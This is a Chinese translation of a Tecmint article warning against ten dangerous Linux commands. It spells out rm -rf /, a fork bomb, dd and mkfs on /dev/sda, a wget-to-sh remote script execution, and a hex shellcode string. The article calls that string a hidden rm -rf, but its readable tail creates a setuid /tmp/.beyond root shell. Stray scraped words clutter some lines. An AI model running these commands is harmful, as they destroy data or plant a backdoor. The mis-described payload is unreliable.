Linux命令行佷有用、很高效,也頗有趣,但有時候也很危險,尤爲是在你不肯定你本身在正 在作何時。這篇文章並不打算引來你對Linux或linux 命令行的憤怒。咱們只是想讓你意識到在你運行某些命令時應該三思然後行。(譯註:固然,如下命令一般都是在root權限下才能將愚蠢發揮到無可救藥;在普 通用戶身份下,破壞的只是本身的一畝三分地。)html
1. rm -rf 命令linux
rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知均可能致使不可恢復的系統崩壞。下列是一些rm 命令的選項。git
rm 命令在Linux下一般用來刪除文件。github
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:我的認爲此處應該是說錯了,從常識看,應該是「甚至是非空的文件夾」)bash
rm -f 命令能不通過詢問直接刪除‘只讀文件’。(譯註:Linux下刪除文件並不在意該文件是不是隻讀的,而只是在乎其父目錄是否有寫權限。因此,-f這個參數 只是表示沒必要一個個刪除確認,而是一概悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是通常的發行版都會將rm經過別名的方式增長-i參數來 要求刪除確認,而-f則抑制了這個提示。)服務器
rm -rf / : 強制刪除根目錄下全部東東。(就是說刪除完畢後,什麼也沒有了。。。)app
rm -rf *: 強制刪除當前目錄的全部文件。dom
rm -rf . : 強制刪除當前文件夾及其子文件夾。ide
從 如今起,當你要執行rm -rf命令時請留心一點。咱們能夠在「.bashrc」文件對‘rm‘命令建立rm -i的別名,來預防用 ‘rm‘命令刪除文件時的事故,它會要求你確認每個刪除請求。(譯註:大多數發行版已經這樣作了,若是尚未,請這樣作,並在使用-f參數前必定考慮好 你在作什麼!譯者本人有着血淚的教訓啊。)函數
2. :(){:|:&};: 命令
這就是個fork ×××的實例。具體操做是經過定義一個名爲 ‘:‘的函數,它會調用本身兩次,一次在前臺另外一次運行在後臺。它會反覆的執行下去直到系統崩潰。
:(){:|:&};:
哦?你確認你要試試麼?千萬別在公司正式的服務器上實驗啊~~
3. 命令 > /dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操做會將在塊設備中的全部數據塊替換爲命令寫入的原始數據,從而致使整個塊設備的數據丟失。
4. mv 文件夾 /dev/null
這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設備是一個特殊的文件,全部寫入它的數據都會被清除,而後返回寫操做成功。(譯註:這就是黑洞啊。固然,要說明的是,經過將文件夾移動到黑洞,並不能阻止 數據恢復軟件的救贖,因此,真正的完全毀滅,須要採用專用的軟件或者手法來完成——我知道你確定有些東西想刪除得乾乾淨淨的。)
# mv /home/user/* /dev/null
上列命令會將User目錄全部內容移動到/dev/null,這意味着全部東西都被‘捲入’黑洞 (null)之中。
5. wget http://malicious_source -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。
注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯註:因此,你真的知道你在作什麼嗎?當遇到這種須要是,個人作法是,先wget下來,而後我去讀一讀其中到底寫了些什麼,而後考慮是否執行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設備‘sda’,你無疑知道在執行上列命令後你的塊設備(硬盤驅 動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的階段。(譯註:一般不會直接使用/dev/sda這樣的設備,除非是做爲raw設 備使用,通常都須要將sda分紅相似sda一、sda2這樣的分區後才使用。固然,不管你使用sda仍是sda1,這樣對塊設備或分區進行mkfs都是毀 滅性的,上面的數據都會被蒸發了。)
7. > file
上列命令經常使用來清空文件內容(譯註:一般也用於記錄命令輸出。 不過請在執行前,確認輸出的文件是空的或者還不存在,不然原來的文件可真是恢復不了了——連數據恢復軟件都未必能幫助你了。另外,我想你可能真正想用的是 「>>」,即累加新的輸出到文件,而不是刷新那個文件。)。若是用上列執行時輸入錯誤或無知的輸入相似 「>xt.conf」 的命令會覆蓋配置文件或其餘任何的系統配置文件。
8. ^foo^bar
這個命令在咱們十個不爲人知的 Linux 命令 - Part 3中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時若是你沒有完全檢查改變原始命令的風險,這可能致使真正的麻煩。(譯註:事實上,這種小技巧是譯者認爲的,少數史前時代遺留下來的無用而有害的「***」技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。固然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面說過mv到黑洞並不能完全刪除數據麼?那麼這個命令就是給了你一個完全刪除的方法!固然爲了保險起見,你能夠覆寫屢次。)
10. 隱藏命令
下面的命令其實就是上面第一個命令 (rm -rf)。這裏的代碼是隱藏在十六進制裏的,一個無知的用戶可能就會被愚弄。在終端裏運行下面命令可能會擦除你的根分區。
這個命令代表一般真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在作什麼結果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(「.text」))) /* e.s.prelease */= 「\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″「\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″「\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″「\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″「\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″「\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″「\x6e\x2f\x73\x68\x00\x2d\x63\x00″「cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;」;
注意: 不要在你的或你的同窗或學校的電腦裏的Linux終端或Shell執行以上的任何一個命令。若是你想測試它們,請在虛擬機上運行。任何不和諧或數據丟失,因爲運行上面的命令致使你的系統崩潰,文章做者和Tecmint概不負責。(譯註:譯者和轉載網站也不負責~!)
今天就到此爲止吧,我會很快回來這裏,同時帶上另外一篇大家喜歡的文章。到那時請繼續關注和訪問Tecmint。若是你知道任何其餘危險的Linux命令,也想添加到咱們的列表中,請經過評論留言給咱們同時也別忘了留下你的寶貴意見。
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/